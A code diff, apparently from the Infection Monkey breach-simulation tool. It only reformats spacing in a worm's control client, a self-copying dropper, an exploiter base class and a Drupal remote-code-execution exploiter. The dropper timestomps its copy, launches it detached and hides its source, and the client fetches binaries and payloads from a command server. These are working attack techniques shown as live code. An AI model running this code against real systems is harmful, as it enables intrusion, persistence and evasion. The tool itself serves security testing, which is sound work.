if default_tunnel:
|
if default_tunnel:
|
||||||
LOG.debug("default_tunnel: %s" % (default_tunnel,))
|
LOG.debug("default_tunnel: %s" % (default_tunnel,))
|
||||||
|
@ -93,10 +93,10 @@ class ControlClient(object):
|
||||||
debug_message += " through proxies: %s" % ControlClient.proxies
|
debug_message += " through proxies: %s" % ControlClient.proxies
|
||||||
LOG.debug(debug_message)
|
LOG.debug(debug_message)
|
||||||
requests.get(
|
requests.get(
|
||||||
f"https://{server}/api?action=is-up", # noqa: DUO123
|
f"https://{server}/api?action=is-up", # noqa: DUO123
|
||||||
verify=False,
|
verify=False,
|
||||||
proxies=ControlClient.proxies,
|
proxies=ControlClient.proxies,
|
||||||
timeout=TIMEOUT_IN_SECONDS,
|
timeout=TIMEOUT_IN_SECONDS,
|
||||||
)
|
)
|
||||||
WormConfiguration.current_server = current_server
|
WormConfiguration.current_server = current_server
|
||||||
break
|
break
|
||||||
|
@ -131,18 +131,17 @@ class ControlClient(object):
|
||||||
if ControlClient.proxies:
|
if ControlClient.proxies:
|
||||||
monkey["tunnel"] = ControlClient.proxies.get("https")
|
monkey["tunnel"] = ControlClient.proxies.get("https")
|
||||||
requests.patch(
|
requests.patch(
|
||||||
"https://%s/api/monkey/%s"
|
"https://%s/api/monkey/%s"
|
||||||
% (WormConfiguration.current_server, GUID), # noqa: DUO123
|
% (WormConfiguration.current_server, GUID), # noqa: DUO123
|
||||||
data=json.dumps(monkey),
|
data=json.dumps(monkey),
|
||||||
headers={"content-type":"application/json"},
|
headers={"content-type": "application/json"},
|
||||||
verify=False,
|
verify=False,
|
||||||
proxies=ControlClient.proxies,
|
proxies=ControlClient.proxies,
|
||||||
timeout=MEDIUM_REQUEST_TIMEOUT,
|
timeout=MEDIUM_REQUEST_TIMEOUT,
|
||||||
)
|
)
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
LOG.warning(
|
LOG.warning(
|
||||||
"Error connecting to control server %s: %s", WormConfiguration.current_server,
|
"Error connecting to control server %s: %s", WormConfiguration.current_server, exc
|
||||||
exc
|
|
||||||
)
|
)
|
||||||
return {}
|
return {}
|
||||||
|
|
||||||
|
@ -150,25 +149,24 @@ class ControlClient(object):
|
||||||
def send_telemetry(telem_category, json_data: str):
|
def send_telemetry(telem_category, json_data: str):
|
||||||
if not WormConfiguration.current_server:
|
if not WormConfiguration.current_server:
|
||||||
LOG.error(
|
LOG.error(
|
||||||
"Trying to send %s telemetry before current server is established, aborting."
|
"Trying to send %s telemetry before current server is established, aborting."
|
||||||
% telem_category
|
% telem_category
|
||||||
)
|
)
|
||||||
return
|
return
|
||||||
try:
|
try:
|
||||||
telemetry = {"monkey_guid":GUID, "telem_category":telem_category, "data":json_data}
|
telemetry = {"monkey_guid": GUID, "telem_category": telem_category, "data": json_data}
|
||||||
requests.post(
|
requests.post(
|
||||||
"https://%s/api/telemetry" % (WormConfiguration.current_server,),
|
"https://%s/api/telemetry" % (WormConfiguration.current_server,),
|
||||||
# noqa: DUO123
|
# noqa: DUO123
|
||||||
data=json.dumps(telemetry),
|
data=json.dumps(telemetry),
|
||||||
headers={"content-type":"application/json"},
|
headers={"content-type": "application/json"},
|
||||||
verify=False,
|
verify=False,
|
||||||
proxies=ControlClient.proxies,
|
proxies=ControlClient.proxies,
|
||||||
timeout=MEDIUM_REQUEST_TIMEOUT,
|
timeout=MEDIUM_REQUEST_TIMEOUT,
|
||||||
)
|
)
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
LOG.warning(
|
LOG.warning(
|
||||||
"Error connecting to control server %s: %s", WormConfiguration.current_server,
|
"Error connecting to control server %s: %s", WormConfiguration.current_server, exc
|
||||||
exc
|
|
||||||
)
|
)
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
|
@ -176,19 +174,18 @@ class ControlClient(object):
|
||||||
if not WormConfiguration.current_server:
|
if not WormConfiguration.current_server:
|
||||||
return
|
return
|
||||||
try:
|
try:
|
||||||
telemetry = {"monkey_guid":GUID, "log":json.dumps(log)}
|
telemetry = {"monkey_guid": GUID, "log": json.dumps(log)}
|
||||||
requests.post(
|
requests.post(
|
||||||
"https://%s/api/log" % (WormConfiguration.current_server,), # noqa: DUO123
|
"https://%s/api/log" % (WormConfiguration.current_server,), # noqa: DUO123
|
||||||
data=json.dumps(telemetry),
|
data=json.dumps(telemetry),
|
||||||
headers={"content-type":"application/json"},
|
headers={"content-type": "application/json"},
|
||||||
verify=False,
|
verify=False,
|
||||||
proxies=ControlClient.proxies,
|
proxies=ControlClient.proxies,
|
||||||
timeout=MEDIUM_REQUEST_TIMEOUT,
|
timeout=MEDIUM_REQUEST_TIMEOUT,
|
||||||
)
|
)
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
LOG.warning(
|
LOG.warning(
|
||||||
"Error connecting to control server %s: %s", WormConfiguration.current_server,
|
"Error connecting to control server %s: %s", WormConfiguration.current_server, exc
|
||||||
exc
|
|
||||||
)
|
)
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
|
@ -197,33 +194,32 @@ class ControlClient(object):
|
||||||
return
|
return
|
||||||
try:
|
try:
|
||||||
reply = requests.get(
|
reply = requests.get(
|
||||||
"https://%s/api/monkey/%s"
|
"https://%s/api/monkey/%s"
|
||||||
% (WormConfiguration.current_server, GUID), # noqa: DUO123
|
% (WormConfiguration.current_server, GUID), # noqa: DUO123
|
||||||
verify=False,
|
verify=False,
|
||||||
proxies=ControlClient.proxies,
|
proxies=ControlClient.proxies,
|
||||||
timeout=MEDIUM_REQUEST_TIMEOUT,
|
timeout=MEDIUM_REQUEST_TIMEOUT,
|
||||||
)
|
)
|
||||||
|
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
LOG.warning(
|
LOG.warning(
|
||||||
"Error connecting to control server %s: %s", WormConfiguration.current_server,
|
"Error connecting to control server %s: %s", WormConfiguration.current_server, exc
|
||||||
exc
|
|
||||||
)
|
)
|
||||||
return
|
return
|
||||||
|
|
||||||
try:
|
try:
|
||||||
unknown_variables = WormConfiguration.from_kv(reply.json().get("config"))
|
unknown_variables = WormConfiguration.from_kv(reply.json().get("config"))
|
||||||
LOG.info(
|
LOG.info(
|
||||||
"New configuration was loaded from server: %r"
|
"New configuration was loaded from server: %r"
|
||||||
% (WormConfiguration.hide_sensitive_info(WormConfiguration.as_dict()),)
|
% (WormConfiguration.hide_sensitive_info(WormConfiguration.as_dict()),)
|
||||||
)
|
)
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
# we don't continue with default conf here because it might be dangerous
|
# we don't continue with default conf here because it might be dangerous
|
||||||
LOG.error(
|
LOG.error(
|
||||||
"Error parsing JSON reply from control server %s (%s): %s",
|
"Error parsing JSON reply from control server %s (%s): %s",
|
||||||
WormConfiguration.current_server,
|
WormConfiguration.current_server,
|
||||||
reply._content,
|
reply._content,
|
||||||
exc,
|
exc,
|
||||||
)
|
)
|
||||||
raise Exception("Couldn't load from from server's configuration, aborting. %s" % exc)
|
raise Exception("Couldn't load from from server's configuration, aborting. %s" % exc)
|
||||||
|
|
||||||
|
@ -236,18 +232,17 @@ class ControlClient(object):
|
||||||
return
|
return
|
||||||
try:
|
try:
|
||||||
requests.patch(
|
requests.patch(
|
||||||
"https://%s/api/monkey/%s"
|
"https://%s/api/monkey/%s"
|
||||||
% (WormConfiguration.current_server, GUID), # noqa: DUO123
|
% (WormConfiguration.current_server, GUID), # noqa: DUO123
|
||||||
data=json.dumps({"config_error":True}),
|
data=json.dumps({"config_error": True}),
|
||||||
headers={"content-type":"application/json"},
|
headers={"content-type": "application/json"},
|
||||||
verify=False,
|
verify=False,
|
||||||
proxies=ControlClient.proxies,
|
proxies=ControlClient.proxies,
|
||||||
timeout=MEDIUM_REQUEST_TIMEOUT,
|
timeout=MEDIUM_REQUEST_TIMEOUT,
|
||||||
)
|
)
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
LOG.warning(
|
LOG.warning(
|
||||||
"Error connecting to control server %s: %s", WormConfiguration.current_server,
|
"Error connecting to control server %s: %s", WormConfiguration.current_server, exc
|
||||||
exc
|
|
||||||
)
|
)
|
||||||
return {}
|
return {}
|
||||||
|
|
||||||
|
@ -266,7 +261,7 @@ class ControlClient(object):
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def download_monkey_exe_by_os(is_windows, is_32bit):
|
def download_monkey_exe_by_os(is_windows, is_32bit):
|
||||||
filename, size = ControlClient.get_monkey_exe_filename_and_size_by_host_dict(
|
filename, size = ControlClient.get_monkey_exe_filename_and_size_by_host_dict(
|
||||||
ControlClient.spoof_host_os_info(is_windows, is_32bit)
|
ControlClient.spoof_host_os_info(is_windows, is_32bit)
|
||||||
)
|
)
|
||||||
if filename is None:
|
if filename is None:
|
||||||
return None
|
return None
|
||||||
|
@ -287,7 +282,7 @@ class ControlClient(object):
|
||||||
else:
|
else:
|
||||||
arch = "x86_64"
|
arch = "x86_64"
|
||||||
|
|
||||||
return {"os":{"type":os, "machine":arch}}
|
return {"os": {"type": os, "machine": arch}}
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def download_monkey_exe_by_filename(filename, size):
|
def download_monkey_exe_by_filename(filename, size):
|
||||||
|
@ -299,11 +294,11 @@ class ControlClient(object):
|
||||||
return dest_file
|
return dest_file
|
||||||
else:
|
else:
|
||||||
download = requests.get(
|
download = requests.get(
|
||||||
"https://%s/api/monkey/download/%s"
|
"https://%s/api/monkey/download/%s"
|
||||||
% (WormConfiguration.current_server, filename), # noqa: DUO123
|
% (WormConfiguration.current_server, filename), # noqa: DUO123
|
||||||
verify=False,
|
verify=False,
|
||||||
proxies=ControlClient.proxies,
|
proxies=ControlClient.proxies,
|
||||||
timeout=MEDIUM_REQUEST_TIMEOUT,
|
timeout=MEDIUM_REQUEST_TIMEOUT,
|
||||||
)
|
)
|
||||||
|
|
||||||
with monkeyfs.open(dest_file, "wb") as file_obj:
|
with monkeyfs.open(dest_file, "wb") as file_obj:
|
||||||
|
@ -316,8 +311,7 @@ class ControlClient(object):
|
||||||
|
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
LOG.warning(
|
LOG.warning(
|
||||||
"Error connecting to control server %s: %s", WormConfiguration.current_server,
|
"Error connecting to control server %s: %s", WormConfiguration.current_server, exc
|
||||||
exc
|
|
||||||
)
|
)
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
|
@ -330,13 +324,13 @@ class ControlClient(object):
|
||||||
return None, None
|
return None, None
|
||||||
try:
|
try:
|
||||||
reply = requests.post(
|
reply = requests.post(
|
||||||
"https://%s/api/monkey/download"
|
"https://%s/api/monkey/download"
|
||||||
% (WormConfiguration.current_server,), # noqa: DUO123
|
% (WormConfiguration.current_server,), # noqa: DUO123
|
||||||
data=json.dumps(host_dict),
|
data=json.dumps(host_dict),
|
||||||
headers={"content-type":"application/json"},
|
headers={"content-type": "application/json"},
|
||||||
verify=False,
|
verify=False,
|
||||||
proxies=ControlClient.proxies,
|
proxies=ControlClient.proxies,
|
||||||
timeout=LONG_REQUEST_TIMEOUT,
|
timeout=LONG_REQUEST_TIMEOUT,
|
||||||
)
|
)
|
||||||
if 200 == reply.status_code:
|
if 200 == reply.status_code:
|
||||||
result_json = reply.json()
|
result_json = reply.json()
|
||||||
|
@ -350,8 +344,7 @@ class ControlClient(object):
|
||||||
|
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
LOG.warning(
|
LOG.warning(
|
||||||
"Error connecting to control server %s: %s", WormConfiguration.current_server,
|
"Error connecting to control server %s: %s", WormConfiguration.current_server, exc
|
||||||
exc
|
|
||||||
)
|
)
|
||||||
|
|
||||||
return None, None
|
return None, None
|
||||||
|
@ -379,11 +372,11 @@ class ControlClient(object):
|
||||||
def get_pba_file(filename):
|
def get_pba_file(filename):
|
||||||
try:
|
try:
|
||||||
return requests.get(
|
return requests.get(
|
||||||
PBA_FILE_DOWNLOAD % (WormConfiguration.current_server, filename),
|
PBA_FILE_DOWNLOAD % (WormConfiguration.current_server, filename),
|
||||||
# noqa: DUO123
|
# noqa: DUO123
|
||||||
verify=False,
|
verify=False,
|
||||||
proxies=ControlClient.proxies,
|
proxies=ControlClient.proxies,
|
||||||
timeout=LONG_REQUEST_TIMEOUT,
|
timeout=LONG_REQUEST_TIMEOUT,
|
||||||
)
|
)
|
||||||
except requests.exceptions.RequestException:
|
except requests.exceptions.RequestException:
|
||||||
return False
|
return False
|
||||||
|
@ -392,14 +385,14 @@ class ControlClient(object):
|
||||||
def get_T1216_pba_file():
|
def get_T1216_pba_file():
|
||||||
try:
|
try:
|
||||||
return requests.get(
|
return requests.get(
|
||||||
urljoin(
|
urljoin(
|
||||||
f"https://{WormConfiguration.current_server}/", # noqa: DUO123
|
f"https://{WormConfiguration.current_server}/", # noqa: DUO123
|
||||||
T1216_PBA_FILE_DOWNLOAD_PATH,
|
T1216_PBA_FILE_DOWNLOAD_PATH,
|
||||||
),
|
),
|
||||||
verify=False,
|
verify=False,
|
||||||
proxies=ControlClient.proxies,
|
proxies=ControlClient.proxies,
|
||||||
stream=True,
|
stream=True,
|
||||||
timeout=MEDIUM_REQUEST_TIMEOUT,
|
timeout=MEDIUM_REQUEST_TIMEOUT,
|
||||||
)
|
)
|
||||||
except requests.exceptions.RequestException:
|
except requests.exceptions.RequestException:
|
||||||
return False
|
return False
|
||||||
|
@ -407,14 +400,14 @@ class ControlClient(object):
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def should_monkey_run(vulnerable_port: str) -> bool:
|
def should_monkey_run(vulnerable_port: str) -> bool:
|
||||||
if (
|
if (
|
||||||
vulnerable_port
|
vulnerable_port
|
||||||
and WormConfiguration.get_hop_distance_to_island() > 1
|
and WormConfiguration.get_hop_distance_to_island() > 1
|
||||||
and ControlClient.can_island_see_port(vulnerable_port)
|
and ControlClient.can_island_see_port(vulnerable_port)
|
||||||
and WormConfiguration.started_on_island
|
and WormConfiguration.started_on_island
|
||||||
):
|
):
|
||||||
raise PlannedShutdownException(
|
raise PlannedShutdownException(
|
||||||
"Monkey shouldn't run on current machine "
|
"Monkey shouldn't run on current machine "
|
||||||
"(it will be exploited later with more depth)."
|
"(it will be exploited later with more depth)."
|
||||||
)
|
)
|
||||||
return True
|
return True
|
||||||
|
|
||||||
|
@ -434,8 +427,8 @@ class ControlClient(object):
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def report_start_on_island():
|
def report_start_on_island():
|
||||||
requests.post(
|
requests.post(
|
||||||
f"https://{WormConfiguration.current_server}/api/monkey_control/started_on_island",
|
f"https://{WormConfiguration.current_server}/api/monkey_control/started_on_island",
|
||||||
data=json.dumps({"started_on_island":True}),
|
data=json.dumps({"started_on_island": True}),
|
||||||
verify=False,
|
verify=False,
|
||||||
timeout=MEDIUM_REQUEST_TIMEOUT,
|
timeout=MEDIUM_REQUEST_TIMEOUT,
|
||||||
)
|
)
|
||||||
|
|
|
@ -53,8 +53,8 @@ class MonkeyDrops(object):
|
||||||
self.opts, _ = arg_parser.parse_known_args(args)
|
self.opts, _ = arg_parser.parse_known_args(args)
|
||||||
|
|
||||||
self._config = {
|
self._config = {
|
||||||
"source_path":os.path.abspath(sys.argv[0]),
|
"source_path": os.path.abspath(sys.argv[0]),
|
||||||
"destination_path":self.opts.location,
|
"destination_path": self.opts.location,
|
||||||
}
|
}
|
||||||
|
|
||||||
def initialize(self):
|
def initialize(self):
|
||||||
|
@ -80,18 +80,18 @@ class MonkeyDrops(object):
|
||||||
shutil.move(self._config["source_path"], self._config["destination_path"])
|
shutil.move(self._config["source_path"], self._config["destination_path"])
|
||||||
|
|
||||||
LOG.info(
|
LOG.info(
|
||||||
"Moved source file '%s' into '%s'",
|
"Moved source file '%s' into '%s'",
|
||||||
self._config["source_path"],
|
self._config["source_path"],
|
||||||
self._config["destination_path"],
|
self._config["destination_path"],
|
||||||
)
|
)
|
||||||
|
|
||||||
file_moved = True
|
file_moved = True
|
||||||
except (WindowsError, IOError, OSError) as exc:
|
except (WindowsError, IOError, OSError) as exc:
|
||||||
LOG.debug(
|
LOG.debug(
|
||||||
"Error moving source file '%s' into '%s': %s",
|
"Error moving source file '%s' into '%s': %s",
|
||||||
self._config["source_path"],
|
self._config["source_path"],
|
||||||
self._config["destination_path"],
|
self._config["destination_path"],
|
||||||
exc,
|
exc,
|
||||||
)
|
)
|
||||||
|
|
||||||
# if file still need to change path, copy it
|
# if file still need to change path, copy it
|
||||||
|
@ -100,16 +100,16 @@ class MonkeyDrops(object):
|
||||||
shutil.copy(self._config["source_path"], self._config["destination_path"])
|
shutil.copy(self._config["source_path"], self._config["destination_path"])
|
||||||
|
|
||||||
LOG.info(
|
LOG.info(
|
||||||
"Copied source file '%s' into '%s'",
|
"Copied source file '%s' into '%s'",
|
||||||
self._config["source_path"],
|
self._config["source_path"],
|
||||||
self._config["destination_path"],
|
self._config["destination_path"],
|
||||||
)
|
)
|
||||||
except (WindowsError, IOError, OSError) as exc:
|
except (WindowsError, IOError, OSError) as exc:
|
||||||
LOG.error(
|
LOG.error(
|
||||||
"Error copying source file '%s' into '%s': %s",
|
"Error copying source file '%s' into '%s': %s",
|
||||||
self._config["source_path"],
|
self._config["source_path"],
|
||||||
self._config["destination_path"],
|
self._config["destination_path"],
|
||||||
exc,
|
exc,
|
||||||
)
|
)
|
||||||
|
|
||||||
return False
|
return False
|
||||||
|
@ -117,7 +117,7 @@ class MonkeyDrops(object):
|
||||||
if WormConfiguration.dropper_set_date:
|
if WormConfiguration.dropper_set_date:
|
||||||
if sys.platform == "win32":
|
if sys.platform == "win32":
|
||||||
dropper_date_reference_path = os.path.expandvars(
|
dropper_date_reference_path = os.path.expandvars(
|
||||||
WormConfiguration.dropper_date_reference_path_windows
|
WormConfiguration.dropper_date_reference_path_windows
|
||||||
)
|
)
|
||||||
else:
|
else:
|
||||||
dropper_date_reference_path = WormConfiguration.dropper_date_reference_path_linux
|
dropper_date_reference_path = WormConfiguration.dropper_date_reference_path_linux
|
||||||
|
@ -125,30 +125,30 @@ class MonkeyDrops(object):
|
||||||
ref_stat = os.stat(dropper_date_reference_path)
|
ref_stat = os.stat(dropper_date_reference_path)
|
||||||
except OSError:
|
except OSError:
|
||||||
LOG.warning(
|
LOG.warning(
|
||||||
"Cannot set reference date using '%s', file not found",
|
"Cannot set reference date using '%s', file not found",
|
||||||
dropper_date_reference_path,
|
dropper_date_reference_path,
|
||||||
)
|
)
|
||||||
else:
|
else:
|
||||||
try:
|
try:
|
||||||
os.utime(
|
os.utime(
|
||||||
self._config["destination_path"], (ref_stat.st_atime, ref_stat.st_mtime)
|
self._config["destination_path"], (ref_stat.st_atime, ref_stat.st_mtime)
|
||||||
)
|
)
|
||||||
except OSError:
|
except OSError:
|
||||||
LOG.warning("Cannot set reference date to destination file")
|
LOG.warning("Cannot set reference date to destination file")
|
||||||
|
|
||||||
monkey_options = build_monkey_commandline_explicitly(
|
monkey_options = build_monkey_commandline_explicitly(
|
||||||
parent=self.opts.parent,
|
parent=self.opts.parent,
|
||||||
tunnel=self.opts.tunnel,
|
tunnel=self.opts.tunnel,
|
||||||
server=self.opts.server,
|
server=self.opts.server,
|
||||||
depth=self.opts.depth,
|
depth=self.opts.depth,
|
||||||
location=None,
|
location=None,
|
||||||
vulnerable_port=self.opts.vulnerable_port,
|
vulnerable_port=self.opts.vulnerable_port,
|
||||||
)
|
)
|
||||||
|
|
||||||
if OperatingSystem.Windows == SystemInfoCollector.get_os():
|
if OperatingSystem.Windows == SystemInfoCollector.get_os():
|
||||||
monkey_cmdline = (
|
monkey_cmdline = (
|
||||||
MONKEY_CMDLINE_WINDOWS % {"monkey_path":self._config["destination_path"]}
|
MONKEY_CMDLINE_WINDOWS % {"monkey_path": self._config["destination_path"]}
|
||||||
+ monkey_options
|
+ monkey_options
|
||||||
)
|
)
|
||||||
else:
|
else:
|
||||||
dest_path = self._config["destination_path"]
|
dest_path = self._config["destination_path"]
|
||||||
|
@ -156,28 +156,28 @@ class MonkeyDrops(object):
|
||||||
# and the inner one which actually
|
# and the inner one which actually
|
||||||
# runs the monkey
|
# runs the monkey
|
||||||
inner_monkey_cmdline = (
|
inner_monkey_cmdline = (
|
||||||
MONKEY_CMDLINE_LINUX % {"monkey_filename":dest_path.split("/")[-1]}
|
MONKEY_CMDLINE_LINUX % {"monkey_filename": dest_path.split("/")[-1]}
|
||||||
+ monkey_options
|
+ monkey_options
|
||||||
)
|
)
|
||||||
monkey_cmdline = GENERAL_CMDLINE_LINUX % {
|
monkey_cmdline = GENERAL_CMDLINE_LINUX % {
|
||||||
"monkey_directory":dest_path[0: dest_path.rfind("/")],
|
"monkey_directory": dest_path[0 : dest_path.rfind("/")],
|
||||||
"monkey_commandline":inner_monkey_cmdline,
|
"monkey_commandline": inner_monkey_cmdline,
|
||||||
}
|
}
|
||||||
|
|
||||||
monkey_process = subprocess.Popen(
|
monkey_process = subprocess.Popen(
|
||||||
monkey_cmdline,
|
monkey_cmdline,
|
||||||
shell=True,
|
shell=True,
|
||||||
stdin=subprocess.PIPE,
|
stdin=subprocess.PIPE,
|
||||||
stdout=subprocess.PIPE,
|
stdout=subprocess.PIPE,
|
||||||
stderr=subprocess.PIPE,
|
stderr=subprocess.PIPE,
|
||||||
close_fds=True,
|
close_fds=True,
|
||||||
creationflags=DETACHED_PROCESS,
|
creationflags=DETACHED_PROCESS,
|
||||||
)
|
)
|
||||||
|
|
||||||
LOG.info(
|
LOG.info(
|
||||||
"Executed monkey process (PID=%d) with command line: %s",
|
"Executed monkey process (PID=%d) with command line: %s",
|
||||||
monkey_process.pid,
|
monkey_process.pid,
|
||||||
monkey_cmdline,
|
monkey_cmdline,
|
||||||
)
|
)
|
||||||
|
|
||||||
time.sleep(3)
|
time.sleep(3)
|
||||||
|
@ -189,10 +189,9 @@ class MonkeyDrops(object):
|
||||||
|
|
||||||
try:
|
try:
|
||||||
if (
|
if (
|
||||||
(self._config["source_path"].lower() != self._config[
|
(self._config["source_path"].lower() != self._config["destination_path"].lower())
|
||||||
"destination_path"].lower())
|
and os.path.exists(self._config["source_path"])
|
||||||
and os.path.exists(self._config["source_path"])
|
and WormConfiguration.dropper_try_move_first
|
||||||
and WormConfiguration.dropper_try_move_first
|
|
||||||
):
|
):
|
||||||
|
|
||||||
# try removing the file first
|
# try removing the file first
|
||||||
|
@ -200,24 +199,24 @@ class MonkeyDrops(object):
|
||||||
os.remove(self._config["source_path"])
|
os.remove(self._config["source_path"])
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
LOG.debug(
|
LOG.debug(
|
||||||
"Error removing source file '%s': %s", self._config["source_path"], exc
|
"Error removing source file '%s': %s", self._config["source_path"], exc
|
||||||
)
|
)
|
||||||
|
|
||||||
# mark the file for removal on next boot
|
# mark the file for removal on next boot
|
||||||
dropper_source_path_ctypes = c_char_p(self._config["source_path"])
|
dropper_source_path_ctypes = c_char_p(self._config["source_path"])
|
||||||
if 0 == ctypes.windll.kernel32.MoveFileExA(
|
if 0 == ctypes.windll.kernel32.MoveFileExA(
|
||||||
dropper_source_path_ctypes, None, MOVEFILE_DELAY_UNTIL_REBOOT
|
dropper_source_path_ctypes, None, MOVEFILE_DELAY_UNTIL_REBOOT
|
||||||
):
|
):
|
||||||
LOG.debug(
|
LOG.debug(
|
||||||
"Error marking source file '%s' for deletion on next boot (error "
|
"Error marking source file '%s' for deletion on next boot (error "
|
||||||
"%d)",
|
"%d)",
|
||||||
self._config["source_path"],
|
self._config["source_path"],
|
||||||
ctypes.windll.kernel32.GetLastError(),
|
ctypes.windll.kernel32.GetLastError(),
|
||||||
)
|
)
|
||||||
else:
|
else:
|
||||||
LOG.debug(
|
LOG.debug(
|
||||||
"Dropper source file '%s' is marked for deletion on next boot",
|
"Dropper source file '%s' is marked for deletion on next boot",
|
||||||
self._config["source_path"],
|
self._config["source_path"],
|
||||||
)
|
)
|
||||||
T1106Telem(ScanStatus.USED, UsageEnum.DROPPER_WINAPI).send()
|
T1106Telem(ScanStatus.USED, UsageEnum.DROPPER_WINAPI).send()
|
||||||
|
|
||||||
|
|
|
@ -49,12 +49,12 @@ class HostExploiter(Plugin):
|
||||||
def __init__(self, host):
|
def __init__(self, host):
|
||||||
self._config = WormConfiguration
|
self._config = WormConfiguration
|
||||||
self.exploit_info = {
|
self.exploit_info = {
|
||||||
"display_name":self._EXPLOITED_SERVICE,
|
"display_name": self._EXPLOITED_SERVICE,
|
||||||
"started":"",
|
"started": "",
|
||||||
"finished":"",
|
"finished": "",
|
||||||
"vulnerable_urls":[],
|
"vulnerable_urls": [],
|
||||||
"vulnerable_ports":[],
|
"vulnerable_ports": [],
|
||||||
"executed_cmds":[],
|
"executed_cmds": [],
|
||||||
}
|
}
|
||||||
self.exploit_attempts = []
|
self.exploit_attempts = []
|
||||||
self.host = host
|
self.host = host
|
||||||
|
@ -75,14 +75,14 @@ class HostExploiter(Plugin):
|
||||||
|
|
||||||
def report_login_attempt(self, result, user, password="", lm_hash="", ntlm_hash="", ssh_key=""):
|
def report_login_attempt(self, result, user, password="", lm_hash="", ntlm_hash="", ssh_key=""):
|
||||||
self.exploit_attempts.append(
|
self.exploit_attempts.append(
|
||||||
{
|
{
|
||||||
"result":result,
|
"result": result,
|
||||||
"user":user,
|
"user": user,
|
||||||
"password":password,
|
"password": password,
|
||||||
"lm_hash":lm_hash,
|
"lm_hash": lm_hash,
|
||||||
"ntlm_hash":ntlm_hash,
|
"ntlm_hash": ntlm_hash,
|
||||||
"ssh_key":ssh_key,
|
"ssh_key": ssh_key,
|
||||||
}
|
}
|
||||||
)
|
)
|
||||||
|
|
||||||
def exploit_host(self):
|
def exploit_host(self):
|
||||||
|
@ -120,4 +120,4 @@ class HostExploiter(Plugin):
|
||||||
:param cmd: String of executed command. e.g. 'echo Example'
|
:param cmd: String of executed command. e.g. 'echo Example'
|
||||||
"""
|
"""
|
||||||
powershell = True if "powershell" in cmd.lower() else False
|
powershell = True if "powershell" in cmd.lower() else False
|
||||||
self.exploit_info["executed_cmds"].append({"cmd":cmd, "powershell":powershell})
|
self.exploit_info["executed_cmds"].append({"cmd": cmd, "powershell": powershell})
|
||||||
|
|
|
@ -61,7 +61,7 @@ class DrupalExploiter(WebRCE):
|
||||||
node_url = urljoin(url, str(node_id))
|
node_url = urljoin(url, str(node_id))
|
||||||
if self.check_if_exploitable(node_url):
|
if self.check_if_exploitable(node_url):
|
||||||
self.add_vuln_url(
|
self.add_vuln_url(
|
||||||
url
|
url
|
||||||
) # This is for report. Should be refactored in the future
|
) # This is for report. Should be refactored in the future
|
||||||
self.vulnerable_urls.append(node_url)
|
self.vulnerable_urls.append(node_url)
|
||||||
if stop_checking:
|
if stop_checking:
|
||||||
|
@ -83,11 +83,11 @@ class DrupalExploiter(WebRCE):
|
||||||
payload = build_exploitability_check_payload(url)
|
payload = build_exploitability_check_payload(url)
|
||||||
|
|
||||||
response = requests.get(
|
response = requests.get(
|
||||||
f"{url}?_format=hal_json", # noqa: DUO123
|
f"{url}?_format=hal_json", # noqa: DUO123
|
||||||
json=payload,
|
json=payload,
|
||||||
headers={"Content-Type":"application/hal+json"},
|
headers={"Content-Type": "application/hal+json"},
|
||||||
verify=False,
|
verify=False,
|
||||||
timeout=MEDIUM_REQUEST_TIMEOUT,
|
timeout=MEDIUM_REQUEST_TIMEOUT,
|
||||||
)
|
)
|
||||||
|
|
||||||
if is_response_cached(response):
|
if is_response_cached(response):
|
||||||
|
@ -103,11 +103,11 @@ class DrupalExploiter(WebRCE):
|
||||||
payload = build_cmd_execution_payload(base, cmd)
|
payload = build_cmd_execution_payload(base, cmd)
|
||||||
|
|
||||||
r = requests.get(
|
r = requests.get(
|
||||||
f"{url}?_format=hal_json", # noqa: DUO123
|
f"{url}?_format=hal_json", # noqa: DUO123
|
||||||
json=payload,
|
json=payload,
|
||||||
headers={"Content-Type":"application/hal+json"},
|
headers={"Content-Type": "application/hal+json"},
|
||||||
verify=False,
|
verify=False,
|
||||||
timeout=LONG_REQUEST_TIMEOUT,
|
timeout=LONG_REQUEST_TIMEOUT,
|
||||||
)
|
)
|
||||||
|
|
||||||
if is_response_cached(r):
|
if is_response_cached(r):
|
||||||
|
@ -140,9 +140,9 @@ class DrupalExploiter(WebRCE):
|
||||||
result = num_available_urls >= num_urls_needed_for_full_exploit
|
result = num_available_urls >= num_urls_needed_for_full_exploit
|
||||||
if not result:
|
if not result:
|
||||||
LOG.info(
|
LOG.info(
|
||||||
f"{num_urls_needed_for_full_exploit} URLs are needed to fully exploit a "
|
f"{num_urls_needed_for_full_exploit} URLs are needed to fully exploit a "
|
||||||
f"Drupal server "
|
f"Drupal server "
|
||||||
f"but only {num_available_urls} found"
|
f"but only {num_available_urls} found"
|
||||||
)
|
)
|
||||||
return result
|
return result
|
||||||
|
|
||||||
|
@ -158,7 +158,7 @@ def find_exploitbale_article_ids(base_url: str, lower: int = 1, upper: int = 100
|
||||||
while lower < upper:
|
while lower < upper:
|
||||||
node_url = urljoin(base_url, str(lower))
|
node_url = urljoin(base_url, str(lower))
|
||||||
response = requests.get(
|
response = requests.get(
|
||||||
node_url, verify=False, timeout=LONG_REQUEST_TIMEOUT
|
node_url, verify=False, timeout=LONG_REQUEST_TIMEOUT
|
||||||
) # noqa: DUO123
|
) # noqa: DUO123
|
||||||
if response.status_code == 200:
|
if response.status_code == 200:
|
||||||
if is_response_cached(response):
|
if is_response_cached(response):
|
||||||
|
@ -171,30 +171,30 @@ def find_exploitbale_article_ids(base_url: str, lower: int = 1, upper: int = 100
|
||||||
|
|
||||||
def build_exploitability_check_payload(url):
|
def build_exploitability_check_payload(url):
|
||||||
payload = {
|
payload = {
|
||||||
